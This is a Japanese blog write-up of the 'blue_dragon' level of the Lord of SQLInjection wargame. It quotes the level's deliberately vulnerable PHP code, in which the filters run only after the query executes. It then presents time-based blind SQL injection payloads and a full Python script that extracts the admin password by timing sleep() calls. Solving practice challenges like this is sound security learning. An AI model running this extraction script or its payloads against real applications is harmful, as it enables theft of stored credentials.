はまやんはまやんはまやん

hamayanhamayan's blog

blue_dragon [LORD OF SQLINJECTION]

Lord of SQLInjection

<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\./i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\./i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_blue_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(preg_match('/\'|\\\/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/\'|\\\/i', $_GET[pw])) exit("No Hack ~_~");
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_blue_dragon where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("blue_dragon");
highlight_file(__FILE__);

特徴は以下。

  • id,pwを入力する。以下フィルターがある
    • 段階的にフィルタリングされている
    • 最初にprob,_,.があるがフィルタリングして、クエリ実行をして、その後',\があるかフィルタリングしている
  • adminのpw要素を抜き出す

Time-based Blind SQL Injectionができそう。
やったことないのでやってみる。

Time-based Blind SQL Injection

長さはこれで取ってくる。
admin' and if({md} <= length(pw),sleep({interval}),0) #

中身はこれで取ってくる。
admin' and if({md} <= ascii(substr(pw,{i+1},1)),sleep({interval}),0) #

import requests
import time

url = "https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php"
cookie = {'PHPSESSID': 'eodcti0jvp87pmvnr63hn7efq5'}
interval = 1

ok = 0
ng = 60

while ok + 1 != ng:
    md = (ok + ng) // 2
    q = f"admin' and if({md} <= length(pw),sleep({interval}),0) #"
    start = time.time()
    res = requests.get(url, params={'id': q}, cookies=cookie)
    print(f"[+] try {md}")
    if (time.time() - start) > interval:
        ok = md
    else:
        ng = md

length = ok
print(f"[*] length = {length}")

ans = ""
for i in range(0, length):
    ok = 0
    ng = 256

    while ok + 1 != ng:
        md = (ok + ng) // 2
        q = f"admin' and if({md} <= ascii(substr(pw,{i+1},1)),sleep({interval}),0) #"
        start = time.time()
        res = requests.get(url, params={'id': q}, cookies=cookie)
        print(f"[+] try {md}")
        if (time.time() - start) > interval:
            ok = md
        else:
            ng = md

    ans += str(chr(ok))
    print(f"[*] {ans}")

print(f"[*] find! {ans}")